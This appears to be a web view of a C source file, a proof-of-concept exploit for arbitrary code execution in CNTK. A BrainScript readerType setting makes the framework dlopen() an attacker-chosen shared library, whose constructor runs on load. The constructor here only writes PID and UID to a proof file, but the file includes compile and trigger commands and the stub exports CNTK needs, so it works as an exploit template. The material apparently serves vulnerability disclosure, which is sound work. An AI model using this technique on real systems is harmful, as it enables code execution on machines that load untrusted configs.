File size: 1,378 Bytes
140bf01
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
 * PoC: CNTK BrainScript dlopen() Arbitrary Code Execution
 * ========================================================
 *
 * This shared library is loaded by CNTK when a BrainScript config specifies:
 *   readerType = "/tmp/evil"
 *
 * CNTK appends "-VERSION.so" and calls dlopen(), which triggers the
 * constructor function below.
 *
 * Vulnerability: DataReader.cpp:102 → File.cpp:1087
 *   Plugin::Load(readerType, ...) → dlopen(soName.c_str(), RTLD_LAZY)
 *
 * Compile:
 *   gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c
 *
 * Trigger:
 *   cntk configFile=poc_dlopen.bs
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* Constructor runs automatically when dlopen() loads this library */
__attribute__((constructor))
void exploit_init(void) {
    FILE *f = fopen("/tmp/cntk_rce_proof.txt", "w");
    if (f) {
        fprintf(f, "CNTK BrainScript dlopen RCE triggered!\n");
        fprintf(f, "PID: %d\n", getpid());
        fprintf(f, "UID: %d\n", getuid());
        fclose(f);
    }
}

/*
 * Dummy exports required by CNTK.
 * Plugin::LoadInternal() calls dlsym() for "GetReaderF" or "GetReaderD".
 * These must exist to avoid RuntimeError, but the constructor already
 * executed arbitrary code by this point.
 */
void GetReaderF(void** reader) { if (reader) *reader = NULL; }
void GetReaderD(void** reader) { if (reader) *reader = NULL; }